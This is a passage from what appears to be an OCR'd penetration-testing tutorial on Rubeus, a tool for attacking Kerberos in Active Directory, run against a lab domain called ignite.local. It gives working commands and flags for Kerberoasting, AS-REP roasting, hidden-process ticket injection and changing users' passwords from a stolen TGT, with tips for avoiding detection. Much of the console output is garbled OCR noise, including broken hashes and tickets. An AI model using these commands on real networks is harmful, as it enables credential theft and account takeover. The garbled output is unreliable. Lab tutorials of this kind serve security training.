roast /spn:ldap/dcl.ignite.local/ignite.local fcreduser:ignite.loc

[#] Action: Kerberoasting

[#] NOTICE: AES hashes wi
Use /t :

FEAFBE
CBB69791138

Some customisation flags can also be specified like

/pwdsetbefore: In the format MM-dd-yyyy then only the accounts whose password was last
changed before the specified date shall be roasted

/resultlimit: The number of accounts that shall be roasted will be limited to this value

/delay: Specifies the miliseconds interval between two consecutive TGS requests

rubeus.exe kerberoast /spn:ldap/dcl.ignite.local/ignite.local /pwdsetbefore:08-
05-2022 /resultlimit:3 /delay:1000
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/spn:ldap/dcl.ignite.local/ignite.local /pwdsetbefor

tlimit:
rubeus. /spn:ldap/dcl.ignite.local/ignite.local /pwdsetbefore 4] /resultlimit

[#] Action: K

[*] NOTICE: : ] L
[*] e / ket X ( r ese accounts.

[*] Using a

F7E

E1F1CD& C84( DD697B9DF1B58
3BD7259 5 420DELFBBE94L

/rcdopsec: tgtdeleg trick is used and accounts without AES enabled are roasted.

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /rc4opsec
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\Public»>rubeus.exe kerberoast /spn:lda
kerberoast /spn:ldap/dcl.ignite.loc

ldap/dcl
b5t

/simple: hashes are output in the console one per line

/nowrap: with this option Kerberos results will not be line wrapped

[ rubeus.exe kerberoast /spn:ldap/dcl.ignite.local/ignite.local /simple /nowrap ]
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L /simple /nowrap

D27D9ALAL9B
AEF9846D265D5444

/outfile: Can be used to store the hash in an output file

[ rubeus.exe kerberoast /spn:ldap/dcl.ignite.local/ignite.local /outfile:type.hash ]

kerberoast /spn:lda
ldap/dcl.ignite.lo

Action:

NOTICE: AES ha i e Ie ad for AES
< r to forc
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ASREPRoast

A service ticket is obtained using TGT and that TGT is obtained by validating a first step
called “pre-authentication.” If this pre-authentication requirement is removed for accounts,
it makes them vulnerable to asreproasting.

If the user has “Do not use Kerberos pre-authentication” enabled, then an attacker can
recover a Kerberos AS-REP encrypted with the users RC4-HMAC'd password and he can
attempt to crack this ticket offline.

You can read our detailed article here.

An SPN can be specified with asreproast option like

[ rubeus.exe asreproast /spn:ldap/dcl.ignite.local/ignite.local ]

>rubeus asreproast /spn:ldap/dcl.ignite.local/ignite.local
Iubnus exe R:Ihplaqu f pn ldap/dcl.ignite.local/ignite.local

Action: AS-REP roasting

Target Domain : ignite.local

e.local/DC=ignite,DC=1local’ for '(&(samAccountType

;T1n9u1;hﬁdwqmﬁ
Using domain controlle
Building AS-REQ (w/o p
AS-REQ w/o preauth 5UCL_;5ful!
AS-REP hash:

d:m:ln controlle
EQ (w/o p
AS-REQ mfa preauth successful!
AS-REP hash:

As you can see, all the accounts with setting “Do not use Kerberos pre-authentication”
enabled are vulnerable to the attack and their AS-REP encrypted with RC4-HMAC password
has been dumped.
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These hashes can also be dumped in a specific hashcat format. By default the hashes can be
cracked using JtR.

[ rubeus.exe asreproast /spn:ldap/dcl.ignite.local/ignite.local /format:hashcat ]

\Public>rubeus.c¢ asreproast /spn:ld ignite cal/ignite. /format:hashcat
asreproast /spn:ldap/dcl.ignite.l i

Action: AS-REP roasting

Target Domain : ignite.local

gnite,DC=local’ for '(&(samAccountType=8@5

DistinguishedName
Using domain con
Building REQ

/domain and /dc are optional flags that can be used to explicitly define the domain and
controller accounts.

[ rubeus.exe asreproast /domain:ignite.local /dc:dcl ]
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>rubeus. asreproast /domain:ignite.lecal /dc:dcl
asreproast /domain:ignite.local /dc:dcl

ignite.local
dcl

1/DC=ignite,DC=local’ for '(&(samAccountType=8@ J(userAcd

Sam tName : harshit
DistinguishedName : CN=harshit,CN=Users,DC=ignite,DC=local
Using domain contr dcl (192.16
Building REQ (w/o preauth) for: 'ignite.localMharshit'
/o preauth succ
sh:

»*
[SS)

[+
[+
[4
[+
[+
[

[+

* 4+ * ¥ *
ol e ol b ]

aR
J86E

SamAccountName
DistinguishedName -
Using domainm controller: dcl (192.1
Building REQ (w/o preauth) for:
/o preauth succ
sh:

/outfile can be used to save this hash in an output file.

[ rubeus.exe asreproast /spn:ldap/dcl.ignite.local/ignite.local /outfile:type2.hash ]
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fspn:ldap/dcl.
/

[#] Action: REP roasting

[#] Target Domain : ignite.local

Control:1 -
[#*] SamAccountNa
[*] DistinguishedName

[#] Using do

[#] Building

[+] ) w/o preauth suc ful
I \Users%Publ

SamAccountName
Distinguishedh
Using domain c
Buildin

AS-REQ o
Hash written to

If /Idaps is used, LDAP query shall go over secured LDAP (port 636)

[ rubeus.exe asreproast /user:harshitrajpal /ldaps ]
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“Public>rubeus.
asreproast fu

Action: AS-REP roasting

Target User : harshitrajpal
ignite.local

ignite,DC=1local’ for '"(&(samAccountType= (userAccountC
J(samAccountName=harshitrajpal))"’
SamAccountName : harshitrajpal
DistinguishedName : CN=harshitrajpal,ChN=User
Using domain controller: dcl.ignite.local (19: :
Building AS-REQ (w/o preauth) for:
AS-REQ w/o preauth successful!

F44B51FB 49 F2 CFFC
6453D72C7 FBA4C : 4LEB2579449279025F52E94

Createnetonly

The option createnetonly uses the CreateProcessWithLogonW() API to create a new hidden
process while returning the ID and LUID. This LUID can then be used with ptt option to apply
this ticket in the newly created process. This prevents erasing of current tickets.

/ticket flag can be used to provide kirbi ticket of base64 blob with the created process.

rubeus.exe createnetonly /program:"C:\Windows\System32\upnpcont.exe"
[ticket:ticket.kirbi
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" /ticket:ticket.kirbi

S7E9ZM

: 6E1PIQ
= NE yste \upnpcont.exe' successfully created with LOGON_TYPE = 9

As you can see, the process ID 3032 is associated with this hidden process and LUID given
which can be used using the /luid flag.

Changepw

The Rubeus changepw option allows an attacker to change a user’s plaintext password from
a TGT .kirbi file or a base64 blob. Hence, when used in conjunction with tgtdeleg or asktgt,
we can change a user’s password just from it’s hash. For example, let’s set current user’s
password to “Password@1!!!”

/ticket: we provided valid TGT of current user.

[ rubeus.exe changepw /ticket:doIFNDCC...bA== /new:Password@1!!! ]
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pw /t
‘NRNdBsM

wF_hT]TbUT ER
q+’HuyOcL“00EFE
hEE]quH]n'
nuqlnTLn;qu-
HbngijS +F
IDug/PSMds@

hde1h=nEhbhHHAm ]
5IVEUUTESDQUypITAfoAMCAQ

U;lnq domain controller: dcl.ignit
mald f

.TOI with encry
1 s IVTB/b
Building the KRV-PRI ructure

Password change suc

ershPubl

As you can see, password for user ‘harshitrajpal’ has been changed successfully.

Now, we can choose a specific user which has the same password using the /targetuser

option too (can be found out using the brute method). Note that necessary privileges may
be required here.

rubeus.exe changepw /targetuser:ignite.local\mufasa /ticket:doIFNDCC...bA==
/new:Password@1!!!
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LCencpZuSBsdCCx7H1u
TT@F5HFgQ+PFkj

password
Building AP-REQ for
ildi AuThnnTl' " wi encrypti ey pe: rc4_hmac

Building the KRV-PRI
Password change

As you can see, Mufasa had the same password as harshitrajpal and his password got
changed too.

Currentluid

A simple option to display current LUID. LUID can be utilised with other options by
specifying with the /luid flag. For example, to purge ticket of a specific user, luid may be
needed.

[ rubeus.exe currentluid ]

\Public>rubeus.exe currentluid
currentluid

[#] Actio Display current LUID

[*] Current LogonID (LUID)
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Conclusion

The article talked about a C# implementation of various popular AD attacks covered in
variety of major projects like Kekeo called “Rubeus.” It is a versatile tool which can be
dropped on the victim’s machine and be used to perform various AD related attacks. We
tried to cover a majority of options. A detailed wiki can be referred to here. The article is
intended to serve as a quick ready reference for Rubeus usage. Hope you liked the article.
Thanks for reading.
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